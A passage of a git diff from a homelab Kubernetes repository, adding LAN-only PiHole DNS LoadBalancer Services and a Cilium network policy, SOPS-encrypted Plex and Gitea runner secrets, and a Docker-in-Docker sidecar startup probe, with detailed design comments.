# ServiceDefinition and placed into wave 0 by `catalog/render.py --emit-waves` via its EXTRA_UNITS
|
||||
# table (the same mechanism gitea-actions uses). It is hand-written because the ServiceDefinition
|
||||
# schema genuinely cannot express it: schemas/servicedefinition.schema.json is
|
||||
# `additionalProperties: false` and has NO field for a type=LoadBalancer Service, for a pinned
|
||||
# lbipam VIP, for a sharing key, for loadBalancerSourceRanges, or for UDP north-south exposure at
|
||||
# all. `ingressRoutes` renders HTTPRoutes on the shared Gateway, which is an L7 HTTPS terminator and
|
||||
# cannot carry DNS. The two existing L4 workloads in this repo are hand-written for exactly this
|
||||
# reason and in exactly this shape — apps/vms/unifi/50-service-l4.yaml and
|
||||
# platform/crafty/service-l4.yaml. The ANSWERS PiHole gives are declared in the catalog
|
||||
# (catalog/pihole.yaml `env`), so the only thing living outside the catalog is the exposure the
|
||||
# schema has no word for.
|
||||
#
|
||||
# WHY THIS EXISTS AT ALL: platform/coredns/coredns-custom.yaml is explicit that its split-horizon is
|
||||
# for PODS and defers LAN clients to "PiHole split-horizon" — but PiHole served no DNS. Its Service
|
||||
# was ClusterIP with ports 80 and 4180 only. The LAN half of the split-horizon that docs/09
|
||||
# (R-DNS-03) and the README's Phase 2 row both claim simply did not exist, and LAN clients ran on
|
||||
# hand-maintained per-client dnsmasq files instead. Upstream cannot substitute: the SOHO router that
|
||||
# owns this LAN strips RFC1918 answers for public domains as rebind protection (NOERROR, ANSWER 0).
|
||||
#
|
||||
# VIP: ${PIHOLE_DNS_VIP} (cluster-vars, R-ENV-02 — dev 192.168.1.56, prod 192.168.2.23), PINNED via
|
||||
# lbipam.cilium.io/ips out of the CiliumLoadBalancerIPPool `default-pool`
|
||||
# (${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP}) and ARP-announced on the flat LAN by the
|
||||
# existing CiliumL2AnnouncementPolicy `default-l2` (platform-config/cilium/*). No new Cilium config
|
||||
# is needed; these Services just consume the pool. PINNING IS NOT OPTIONAL HERE: this address is
|
||||
# typed into every LAN client's resolver configuration (or handed out by the router's DHCP), so it
|
||||
# can never be allowed to move.
|
||||
#
|
||||
# ONE VIP, TWO SERVICES: a LoadBalancer Service is single-protocol-friendly, so udp/53 and tcp/53
|
||||
# split into two Services sharing one address via lbipam.cilium.io/sharing-key — the same
|
||||
# arrangement unifi and crafty use. BOTH PROTOCOLS ARE REQUIRED, not belt-and-braces: UDP is the
|
||||
# normal query path, and TCP is what a resolver falls back to for any answer that does not fit in a
|
||||
# UDP datagram and what some clients use unconditionally. A UDP-only resolver fails intermittently
|
||||
# and confusingly.
|
||||
#
|
||||
# NO external-dns ANNOTATION, DELIBERATELY. unifi and crafty both carry
|
||||
# `external-dns.alpha.kubernetes.io/hostname` so external-dns publishes their address as a PUBLIC
|
||||
# Cloudflare record. This Service must not: `pihole-dns.${BASE_DOMAIN}` is answered by PiHole itself
|
||||
# (catalog/pihole.yaml's dnsmasq override), it is an RFC1918 address that is useless in public DNS,
|
||||
# and publishing a resolver's address in a public zone invites exactly the traffic the source-range
|
||||
# filter below exists to refuse. Internal name, internal answer, no public record — which is also
|
||||
# why this change touches nothing under platform/externaldns/.
|
||||
#
|
||||
# -------------------------------------------------------------------------------------------------
|
||||
# externalTrafficPolicy: Cluster — AND WHY IT IS NOT `Local`, WHICH IS WHAT unifi AND crafty USE.
|
||||
# -------------------------------------------------------------------------------------------------
|
||||
# `Local` is the obvious choice: it preserves the client source IP and, in theory, pins the VIP to
|
||||
# the node running the backend. The second half is NOT TRUE on this cluster, and that was measured,
|
||||
# not assumed (Cilium 1.20.1, prod, 2026-09-14):
|
||||
#
|
||||
# * Cilium's L2 announcer elects one lease holder per Service among the nodes matching the
|
||||
# CiliumL2AnnouncementPolicy's nodeSelector — `default-l2` matches ALL linux nodes — and it does
|
||||
# NOT filter that candidate set by which nodes hold a backend. Created fresh, the two Services
|
||||
# landed on DIFFERENT nodes (`cilium-l2announce-pihole-pihole-dns-tcp` -> k3s-prod-3,
|
||||
# `-udp` -> k3s-prod-2) while the pihole pod ran on k3s-prod-1.
|
||||
# * With `Local`, a node that announces the VIP but holds no backend has nowhere to send the
|
||||
# packet, and the query fails with ICMP port unreachable (dig: "connection refused"). On three
|
||||
# nodes with one replica that is a 1-in-3 chance of working, drawn independently per protocol.
|
||||
# * It does not self-heal. The lease holder keeps RENEWING after the pod moves away: a pod
|
||||
# rescheduled from k3s-prod-1 to k3s-prod-2 left the lease on k3s-prod-1, still renewing three
|
||||
# minutes later, with LAN resolution dead the whole time. Only deleting the Lease forced a
|
||||
# re-election — and that re-election is random, so it may pick a backend-less node again.
|
||||
#
|
||||
# A resolver that works one time in three and stays broken after any reschedule is not a resolver.
|
||||
# `Cluster` makes every node able to serve the VIP by forwarding to wherever the pod is, which is
|
||||
# what makes this survive a reschedule and a rebuild. VERIFIED in exactly the broken arrangement
|
||||
# above — leases on k3s-prod-2 and k3s-prod-3, pod on k3s-prod-1 — udp/53, tcp/53 and recursion all
|
||||
# answering.
|
||||
#
|
||||
# THE COST, STATED PLAINLY: Cilium runs in SNAT mode here (no `loadBalancer.mode: dsr` in
|
||||
# platform/cilium/helmrelease.yaml), so a query forwarded between nodes reaches PiHole with the
|
||||
# INGRESS NODE's address as its source, not the client's. PiHole's per-client query log, per-client
|
||||
# groups and per-client rate limiting therefore see one apparent client instead of the LAN. Two
|
||||
# consequences are handled: the rate limit is disabled in catalog/pihole.yaml (otherwise the whole
|
||||
# LAN counts as one client against PiHole's 1000-queries-per-60s default and PiHole starts
|
||||
# REFUSING), and the LAN restriction is enforced in the datapath rather than by source identity —
|
||||
# see loadBalancerSourceRanges below. The fix that would restore client IPs is `loadBalancer.mode:
|
||||
# dsr` on the Cilium HelmRelease, which is a platform-wide change with an Ansible [parity] contract
|
||||
# and would also fix the same latent defect in unifi and crafty; it belongs in its own change.
|
||||
#
|
||||
# -------------------------------------------------------------------------------------------------
|
||||
# loadBalancerSourceRanges — THE LAN RESTRICTION, ENFORCED IN THE DATAPATH.
|
||||
# -------------------------------------------------------------------------------------------------
|
||||
# Cilium enforces this list in eBPF on the ingress node, on the VIP, BEFORE load-balancing and
|
||||
# before SNAT. A packet to ${PIHOLE_DNS_VIP}:53 from outside ${LAN_CIDR} is dropped by the
|
||||
# datapath — it never reaches a backend and never reaches a network policy. This is what makes
|
||||
# "LAN clients only" a real, tested restriction rather than a comment: VERIFIED by narrowing the
|
||||
# range to a /24 that excludes the test client, after which the same query that had been answering
|
||||
# stopped being answered at all, and restoring it, after which it answered again.
|
||||
#
|
||||
# It is also the layer that survives the SNAT above. A CiliumNetworkPolicy cannot express this
|
||||
# restriction once the source has been rewritten: measured on this cluster, the forwarded query
|
||||
# arrives from the ingress node's internal router address and Cilium resolves that source to the
|
||||
# reserved `world` identity, which a `fromCIDR` clause does not match even when the CIDR covers the
|
||||
# address (tried: fromCIDR ${CLUSTER_POD_CIDR}, still dropped as `world`). So the peer restriction
|
||||
# lives here, where it is actually enforceable, and the policy below restricts the PORTS.
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: pihole-dns-udp
|
||||
namespace: pihole
|
||||
labels:
|
||||
app.kubernetes.io/name: pihole
|
||||
annotations:
|
||||
lbipam.cilium.io/sharing-key: "pihole-dns"
|
||||
lbipam.cilium.io/ips: "${PIHOLE_DNS_VIP}"
|
||||
spec:
|
||||
type: LoadBalancer
|
||||
externalTrafficPolicy: Cluster
|
||||
loadBalancerSourceRanges:
|
||||
- ${LAN_CIDR}
|
||||
selector:
|
||||
app.kubernetes.io/name: pihole
|
||||
ports:
|
||||
- { name: dns-udp, port: 53, targetPort: 53, protocol: UDP }
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: pihole-dns-tcp
|
||||
namespace: pihole
|
||||
labels:
|
||||
app.kubernetes.io/name: pihole
|
||||
annotations:
|
||||
lbipam.cilium.io/sharing-key: "pihole-dns" # same key + same IP => shares the VIP with -udp
|
||||
lbipam.cilium.io/ips: "${PIHOLE_DNS_VIP}"
|
||||
spec:
|
||||
type: LoadBalancer
|
||||
externalTrafficPolicy: Cluster
|
||||
loadBalancerSourceRanges:
|
||||
- ${LAN_CIDR}
|
||||
selector:
|
||||
app.kubernetes.io/name: pihole
|
||||
ports:
|
||||
- { name: dns-tcp, port: 53, targetPort: 53, protocol: TCP }
|
||||
---
|
||||
# =================================================================================================
|
||||
# NETWORK POLICY — a NEW ingress path from off-cluster, restricted to the two DNS ports.
|
||||
# =================================================================================================
|
||||
# The pihole namespace is default-deny on ingress (the baseline NetworkPolicy in the rendered
|
||||
# apps/wave-0/pihole.yaml: `ingress: []`). Cilium enforces the UNION of that NetworkPolicy and the
|
||||
# CiliumNetworkPolicies in the namespace, so this file ADDS one path and nothing else. Everything
|
||||
# undeclared stays denied, and the existing `pihole-allow-gateway-ingress` (Gateway -> :4180, the
|
||||
# oauth2-proxy gate in front of the admin UI) is untouched. PiHole's own :80 is NOT in this rule:
|
||||
# the admin UI stays reachable only through the Gateway and oauth2-proxy, and a LAN client that
|
||||
# talks to ${PIHOLE_DNS_VIP} on any port other than 53 gets nothing — there is no Service port for
|
||||
# it and no policy for it.
|
||||
#
|
||||
# PORTS ARE THE NARROWING HERE; THE LAN RESTRICTION IS THE SOURCE-RANGE FILTER ABOVE. The peer is
|
||||
# `world` for a mechanical reason, not a lazy one: with externalTrafficPolicy Cluster in Cilium's
|
||||
# SNAT mode a forwarded query arrives from the ingress node's internal router address, which Cilium
|
||||
# resolves to the reserved `world` identity — a `fromCIDR` clause does not match it, which was
|
||||
# measured (a fromCIDR of ${CLUSTER_POD_CIDR}, which contains that address, still produced
|
||||
# "Policy denied ... identity world" drops in `cilium-dbg monitor`). So `world` is the only peer
|
||||
# selector that can describe LAN traffic that has been through the LoadBalancer, and the set of
|
||||
# addresses that can actually BE that traffic is fixed by loadBalancerSourceRanges before this
|
||||
# policy is consulted. Together: ${LAN_CIDR} in the datapath, udp/53 + tcp/53 here.
|
||||
#
|
||||
# This is NOT wider than the precedent it follows. unifi-allow-l4-ingress and crafty-allow-ingress
|
||||
# admit `fromEntities: [world, cluster, host]` on their L4 ports with NO source-range filter at all;
|
||||
# this rule admits fewer entities (no `cluster` — in-cluster pods resolve through CoreDNS and none
|
||||
# needs PiHole on :53) on fewer ports, behind a filter those two do not have.
|
||||
#
|
||||
# WHAT REMAINS REACHABLE WITHOUT THE VIP, ACKNOWLEDGED: Cilium applies source ranges to the
|
||||
# LoadBalancer address, not to the NodePorts the same Services allocate, so a host that can route to
|
||||
# a node IP can still reach udp/53 and tcp/53 through the NodePort. On this LAN that is the same
|
||||
# population the source range admits, and nothing at the edge forwards 53 inward, so PiHole is not
|
||||
# an internet-facing open resolver. Say so out loud rather than implying the filter is total.
|
||||
#
|
||||
# `host` and `remote-node` are named explicitly because node-sourced traffic carries a reserved
|
||||
# Cilium identity that no CIDR or `world` selector matches: the kubelet's probes and the
|
||||
# node-to-node forwarding that IS the Cluster-policy datapath both need them.
|
||||
apiVersion: cilium.io/v2
|
||||
kind: CiliumNetworkPolicy
|
||||
metadata:
|
||||
name: pihole-allow-lan-dns-ingress
|
||||
namespace: pihole
|
||||
labels:
|
||||
app.kubernetes.io/name: pihole
|
||||
spec:
|
||||
endpointSelector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: pihole
|
||||
ingress:
|
||||
- fromEntities:
|
||||
- world # LAN clients, post-LoadBalancer: see the block above for why not fromCIDR
|
||||
- host # this node's kubelet probes
|
||||
- remote-node # the node-to-node hop that forwards a query to wherever the pod runs
|
||||
toPorts:
|
||||
- ports:
|
||||
- { port: "53", protocol: UDP }
|
||||
- { port: "53", protocol: TCP }
|
||||
@@ -81,6 +81,15 @@ spec:
|
||||
image: pihole/pihole
|
||||
ports:
|
||||
- containerPort: 80
|
||||
env:
|
||||
- name: FTLCONF_dns_listeningMode
|
||||
value: ALL
|
||||
- name: FTLCONF_dns_upstreams
|
||||
value: 8.8.8.8;8.8.4.4
|
||||
- name: FTLCONF_dns_rateLimit_count
|
||||
value: '0'
|
||||
- name: FTLCONF_misc_dnsmasq_lines
|
||||
value: address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}
|
||||
volumeMounts:
|
||||
- name: config
|
||||
mountPath: /data/config
|
||||
@@ -223,6 +232,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: platform-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
# Plex plex.tv server-claim token (WS-APPS). SOPS-encrypted (age).
|
||||
# Consumed by catalog/plex.yaml as env PLEX_CLAIM via valueFrom.secretKeyRef.
|
||||
#
|
||||
# NOTE ON THESE COMMENTS: they carry NO dollar-brace expressions, deliberately. This file is applied
|
||||
# by the apps-wave-0 Flux Kustomization, which runs envsubst over the built output, and kustomize
|
||||
# preserves body comments into that stream (see conformance/tests/l0-static/flux-postbuild-
|
||||
# substitution). A braced token quoted from the upstream shell script would be a live hazard here,
|
||||
# not prose, so the upstream conditions below are described in words.
|
||||
#
|
||||
# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
|
||||
# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
|
||||
# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
|
||||
# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
|
||||
# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
|
||||
#
|
||||
# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
|
||||
# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
|
||||
# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
|
||||
# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
|
||||
#
|
||||
# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
|
||||
# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
|
||||
# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
|
||||
#
|
||||
# WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
|
||||
# s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against
|
||||
# the same file extracted from the running `plexinc/pms-docker:latest` image):
|
||||
# - line 106 guards the claim exchange on TWO conditions: PLEX_CLAIM non-empty AND the
|
||||
# PlexOnlineToken pref read out of /config empty. Once the server is claimed that block is
|
||||
# skipped entirely, so whatever this Secret holds is a NO-OP on every later start. Upstream
|
||||
# README: "If server is already logged in, this parameter is ignored."
|
||||
# - on a still-UNCLAIMED /config, an invalid or expired token makes plex.tv answer 403 with an
|
||||
# empty body. curl's exit status is never checked, the sed for the authentication-token element
|
||||
# yields the empty string, and the success branch at line 120 simply does not fire. There is no
|
||||
# else branch and no non-zero exit; the script has no `set -e` and ends by touching
|
||||
# /.firstRunComplete and echoing, so it exits 0. The server comes up UNCLAIMED and serving.
|
||||
# It does NOT crashloop.
|
||||
# - the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS, whose default is 0 ("continue silently even
|
||||
# if a cont-init script failed"), so even a hypothetical non-zero exit would not halt startup.
|
||||
# A MISSING Secret would NOT be safe: the ServiceDefinition schema's valueFrom.secretKeyRef shape
|
||||
# has no `optional` field, so an absent Secret is a hard CreateContainerConfigError. That is exactly
|
||||
# why this file is committed and listed in apps/wave-0/kustomization.yaml instead of being created
|
||||
# by hand at claim time.
|
||||
#
|
||||
# INJECTION / ROTATION (operator, not agents) — runbooks/plex-claim.md has the timed procedure:
|
||||
# infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
|
||||
# Never decrypt this file into a shell, a log, or a shared terminal.
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: plex-claim
|
||||
namespace: plex
|
||||
labels:
|
||||
app.kubernetes.io/name: plex
|
||||
type: Opaque
|
||||
stringData:
|
||||
PLEX_CLAIM: ENC[AES256_GCM,data:nLmzeUBWRhRjUakrGiGzQpQuqZNcIYvRH6M=,iv:z0on/dArsNejNLrp3V1nSiNLFzKcREhPuMO1634CwQw=,tag:Ih23CT1JYna/5lfYQUb1Dw==,type:str]
|
||||
sops:
|
||||
kms: []
|
||||
gcp_kms: []
|
||||
azure_kv: []
|
||||
hc_vault: []
|
||||
age:
|
||||
- recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
|
||||
enc: |
|
||||
-----BEGIN AGE ENCRYPTED FILE-----
|
||||
YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSA2dWtqOVNQalZ2QlRxOXJa
|
||||
cDc1MTdtWENkdWIxS1JId3dIU1JDSmk0ODNrCk1YUzhFWXR3bUxyV2NNcmFOakdz
|
||||
THl1Q284dFJxTy9Rd1h0eXJJaVZtdmcKLS0tIERuN0ZFeW9zdi9aNFRYNWxmUS9s
|
||||
QUtYdHEvN042ajNoNktOLzlYQmQrc1kK4NHozMbXVzNGYbUBRbK6a9Uw/sVPAfe6
|
||||
RW5KWzZ4I/hloqjN3zzVISoSMieMkBGDnF5qZS5N6FqIc6/HrsDD8A==
|
||||
-----END AGE ENCRYPTED FILE-----
|
||||
lastmodified: "2026-09-29T06:31:16Z"
|
||||
mac: ENC[AES256_GCM,data:62BmBAq45CD2g6LDyx+Ho4bTfrhJcaro/RB/iM+OaRc4a/D83MhjbcBL11Uz/O726inqhkvCKDJ/fFemoc50JDbtC79cYMaxrGJNjFM0sdckWrowPvh6ie7HHHUBRBaefl+gNfnc+pbvcncvRzwA4RyzcZse1wbxKfHN8FjEopE=,iv:h0cMShs3tIgnY6eruUYymYrcLFzQZLk/uXQJ/Jsd5ek=,tag:nZ9Pau7p4xWT1QCN1vv2vA==,type:str]
|
||||
pgp: []
|
||||
encrypted_regex: ^(data|stringData)$
|
||||
version: 3.9.4
|
||||
@@ -132,6 +132,11 @@ spec:
|
||||
value: Etc/UTC
|
||||
- name: ALLOWED_NETWORKS
|
||||
value: 10.0.0.0/8,192.168.0.0/16
|
||||
- name: PLEX_CLAIM
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: plex-claim
|
||||
key: PLEX_CLAIM
|
||||
volumeMounts:
|
||||
- name: config
|
||||
mountPath: /config
|
||||
|
||||
@@ -344,6 +344,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: media-users,platform-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -4,7 +4,13 @@
|
||||
# against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
|
||||
# decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
|
||||
# in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
|
||||
# Recover/inspect: infra/devcontainer/dev.sh run sops -d apps/gitea-actions-runner-secret.sops.yaml
|
||||
# ROTATE: ./infra/gitea/runner-token-rotate.sh -- it mints a fresh instance-level token from the
|
||||
# Gitea API and writes it here via `sops set`, without the value ever being printed.
|
||||
# Do NOT `sops -d` this file into a terminal, a log, or an agent transcript. To check only that
|
||||
# it still decrypts, redirect: `sops -d <file> > /dev/null`.
|
||||
# NOTE: a fresh token alone may not re-register the runner. act_runner registers ONCE and keeps
|
||||
# its identity in /data/.runner on the act-runner-data PVC; if Gitea no longer holds a matching
|
||||
# row it skips registration silently. Clearing that PVC is what forces a real re-registration.
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
@@ -14,7 +20,7 @@ metadata:
|
||||
app.kubernetes.io/name: act-runner
|
||||
type: Opaque
|
||||
stringData:
|
||||
token: ENC[AES256_GCM,data:W48mEtBqGeukX13lMhrhrer+zB21cLVp0acy3m1Xy/oo89DqO8FX/Q==,iv:wfTUU7RiFLdEc1fmEFS9DfE2SmGCFLPK17m0IKspft0=,tag:UhoXA47p7386KHcYNbPzCg==,type:str]
|
||||
token: ENC[AES256_GCM,data:f574mAUkLvMGq0TYycwCd4tduMuBgQLiTg/140kuRDgFUYYm1ZoSjQ==,iv:Tn7gFWBLm2hHk/BbfVX7qIZegwZp9ah1cMou5i2O91E=,tag:TkdSiMI4sdCNn2JuN++Pig==,type:str]
|
||||
sops:
|
||||
kms: []
|
||||
gcp_kms: []
|
||||
@@ -30,8 +36,8 @@ sops:
|
||||
MDZLUE52QzJXbFlrNWxOcVhJbDNnY00KxCpFkbhhCuk4Fa8CC3C4+R9AcsUnaXQR
|
||||
UjAfwKFoXAneXUih7TTXMbR/6+VgQBww5Bmwpn7jVLnzP0N0pIZVTA==
|
||||
-----END AGE ENCRYPTED FILE-----
|
||||
lastmodified: "2026-08-26T04:48:14Z"
|
||||
mac: ENC[AES256_GCM,data:b99/zkL332RIT3FYBa1sR3o9+pwlmrUgKvVHawbjWYSJZ7ERUfO+LXuhKJ0HKrp6i1JfkurZlRO27iBcfrBisAXS9KLaqmsCJf4kKfFc4skANrmKCzprrXUmZexr1uiE8eDUzjNCLNxSCZfnFR6d/AkMXJqi6Hsj9/O+wH2lWsc=,iv:3DIPszSdxK81ERO3o/nTs33qQYHaAKLNcGP4qlZViFc=,tag:/B6VKkzMUwh0byNUicS5wQ==,type:str]
|
||||
lastmodified: "2026-09-29T05:48:35Z"
|
||||
mac: ENC[AES256_GCM,data:nobqr794nrdRYFrd8Ct8bw9M8NtftJXawRGk9zrL+pTWahwlWrwXVtOAxMGEPVojz3WemsxTJESzmzy0gcT1QcrjpYTsF2MVHcr6+umk8q9gAh2enyxy/0QkYiSt6XjvRVqfqleLanEkeIq1FPf2zhSLSJaiw4/oZTfkCHD1/Zg=,iv:JxaP0htmGcvE4ZU1YAmGF4A6JkejV29NNygyMl1OKF8=,tag:G70NvcPyVuagXhugWoUfTw==,type:str]
|
||||
pgp: []
|
||||
encrypted_regex: ^(data|stringData)$
|
||||
version: 3.9.4
|
||||
+69
-106
@@ -99,70 +99,79 @@ spec:
|
||||
# CI holds no cluster credentials — do not mount a SA token into the runner or
|
||||
# (via the shared netns) the job containers (R-SEC-02, docs/14).
|
||||
automountServiceAccountToken: false
|
||||
# ---- Docker-in-Docker: the job executor daemon (privileged) -------------------
|
||||
#
|
||||
# NATIVE SIDECAR (k3s v1.36; sidecar containers are GA). It is an initContainer with
|
||||
# `restartPolicy: Always`, which means: it starts BEFORE the regular containers, keeps
|
||||
# running alongside them, and is terminated after them. kubelet holds `runner` until
|
||||
# this container's startupProbe passes, so the ordering is enforced by the kubelet
|
||||
# instead of hand-rolled shell in the runner.
|
||||
#
|
||||
# This REPLACES two bounded wait-loops that used to live in the runner's `command:`.
|
||||
# Deleting them also deletes an envsubst hazard: clusters/base/apps-wave-1.yaml runs
|
||||
# postBuild substitution over this ENTIRE manifest, comments included, and those loops
|
||||
# depended on bare dollar-names surviving it untouched. There is now no shell here at
|
||||
# all, so there is nothing to escape or mis-escape.
|
||||
#
|
||||
# WHY THE PROBE IS `exec docker ... info` AND NOT `tcpSocket`. A tcpSocket probe would
|
||||
# re-open the exact gap the old Stage 1 existed to close: dockerd writes the TLS certs
|
||||
# and only THEN begins listening, so the port can accept a connection while the certs
|
||||
# are absent or incomplete -- and act_runner hard-exits on a missing
|
||||
# /certs/client/ca.pem. A full TLS-verified `docker info` proves BOTH that the certs
|
||||
# are usable and that the daemon answers.
|
||||
#
|
||||
# CORRECTION (measured 2026-09-29, after this conversion shipped): the commit that
|
||||
# introduced this claimed the conversion would REMOVE the one-per-start dockerd line
|
||||
# `http: TLS handshake error from 127.0.0.1: EOF`. IT DOES NOT. Exactly one still
|
||||
# appears, immediately after "API listen on [::]:2376" -- it is now this probe's FIRST
|
||||
# attempt, landing microseconds after dockerd begins listening and cut off by
|
||||
# timeoutSeconds: 1. The next poll succeeds. It is cosmetic, exactly as cosmetic as it
|
||||
# was before, and deliberately NOT chased: raising timeoutSeconds to hide one benign
|
||||
# startup line would slow every subsequent poll. Left documented rather than silenced.
|
||||
#
|
||||
# periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
|
||||
initContainers:
|
||||
- name: dind
|
||||
restartPolicy: Always # <- this field is what makes it a SIDECAR
|
||||
image: docker:27-dind
|
||||
securityContext:
|
||||
privileged: true
|
||||
env:
|
||||
# Generate + publish TLS certs into the shared emptyDir; dockerd then listens
|
||||
# on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
|
||||
- name: DOCKER_TLS_CERTDIR
|
||||
value: /certs
|
||||
volumeMounts:
|
||||
- name: certs
|
||||
mountPath: /certs
|
||||
- name: dind-storage
|
||||
mountPath: /var/lib/docker
|
||||
resources:
|
||||
requests:
|
||||
cpu: 100m
|
||||
memory: 256Mi
|
||||
limits:
|
||||
memory: 2Gi
|
||||
startupProbe:
|
||||
exec:
|
||||
command:
|
||||
- docker
|
||||
- --host=tcp://127.0.0.1:2376
|
||||
- --tlsverify
|
||||
- --tlscacert=/certs/client/ca.pem
|
||||
- --tlscert=/certs/client/cert.pem
|
||||
- --tlskey=/certs/client/key.pem
|
||||
- info
|
||||
periodSeconds: 1
|
||||
failureThreshold: 60
|
||||
containers:
|
||||
# ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
|
||||
- name: runner
|
||||
image: gitea/act_runner:0.2.11
|
||||
# TWO-STAGE BOUNDED WAIT on the DinD sidecar, then exec the image's normal
|
||||
# entrypoint (/sbin/tini -- /opt/act/run.sh), which registers-from-env on first
|
||||
# boot and runs `act_runner daemon`.
|
||||
#
|
||||
# STAGE 1 — the certs must EXIST: act_runner reads /certs/client/ca.pem at startup
|
||||
# and hard-exits if it is missing (a startup race against the sidecar).
|
||||
# STAGE 2 — the daemon must actually ACCEPT a connection: the cert FILE appearing is
|
||||
# necessary but NOT sufficient. dockerd writes the certs and only THEN begins
|
||||
# listening on :2376, so a runner that proceeds on the file alone still hard-exits
|
||||
# with "cannot ping the docker daemon at tcp://localhost:2376" — observed
|
||||
# crashlooping 11 times in ~8 minutes on a fresh pod after a node bounce.
|
||||
# Both loops are bounded (60 x 1s) and exit 1 on timeout, so a genuinely dead sidecar
|
||||
# surfaces as a CrashLoopBackOff with a clear message instead of hanging forever.
|
||||
#
|
||||
# ENVSUBST SAFETY — the BARE $i / $j below are CORRECT. Do not "tidy" them into the
|
||||
# braced form or the double-dollar form; both are wrong here, for different reasons.
|
||||
# clusters/base/apps-wave-1.yaml carries postBuild.substituteFrom cluster-vars, so
|
||||
# Flux envsubst runs over this ENTIRE manifest — YAML comments very much included.
|
||||
# Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
|
||||
# and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
|
||||
# - A bare $name is NOT a reference to envsubst: it passes through untouched, and
|
||||
# that holds even when the name IS set in cluster-vars. So $i and $j reach the
|
||||
# cluster verbatim and both 60s bounds below are real, enforced bounds.
|
||||
# - $((i + 1)) is likewise untouched: "(" cannot begin a variable name.
|
||||
# - A BRACED dollar-name IS a reference and gets replaced — with the empty string
|
||||
# when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
|
||||
# which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
|
||||
# - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
|
||||
# form — still wrong for us, because on any path where envsubst does NOT run
|
||||
# (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
|
||||
# reads that leading double-dollar as its own PID, so a bound would compare a
|
||||
# string like 1234{i} against 60. The bare form is the only spelling that is
|
||||
# correct on BOTH paths.
|
||||
# - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
|
||||
# name") that fails this whole Kustomization — and this Kustomization gates every
|
||||
# merge in the repo. So never write one anywhere in this file, INCLUDING in a
|
||||
# comment. That is why this note names the three forms in words rather than
|
||||
# showing them: an earlier draft of it spelled them out literally and broke
|
||||
# `flux envsubst` on the file. (Same trap the indexed-expansion warning in
|
||||
# clusters/base/apps-vms.yaml describes.)
|
||||
command:
|
||||
- /bin/sh
|
||||
- -c
|
||||
- |
|
||||
# Stage 1: the sidecar's TLS client certs must appear in the shared emptyDir.
|
||||
i=0
|
||||
until [ -f /certs/client/ca.pem ]; do
|
||||
i=$((i + 1))
|
||||
[ "$i" -ge 60 ] && { echo "dind certs never appeared" >&2; exit 1; }
|
||||
echo "waiting for dind TLS certs ($i)"; sleep 1
|
||||
done
|
||||
# Stage 2: dockerd must actually accept a connection on :2376. busybox nc in this
|
||||
# Alpine-based image (gitea/act_runner:0.2.11) supports -z (scan) and -w (timeout).
|
||||
j=0
|
||||
until nc -z -w1 127.0.0.1 2376; do
|
||||
j=$((j + 1))
|
||||
[ "$j" -ge 60 ] && { echo "dind daemon never accepted a connection on 2376" >&2; exit 1; }
|
||||
echo "waiting for dind daemon on :2376 ($j)"; sleep 1
|
||||
done
|
||||
exec /sbin/tini -- /opt/act/run.sh
|
||||
# No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
|
||||
# registers from env on first boot and runs `act_runner daemon`. The two wait-loops
|
||||
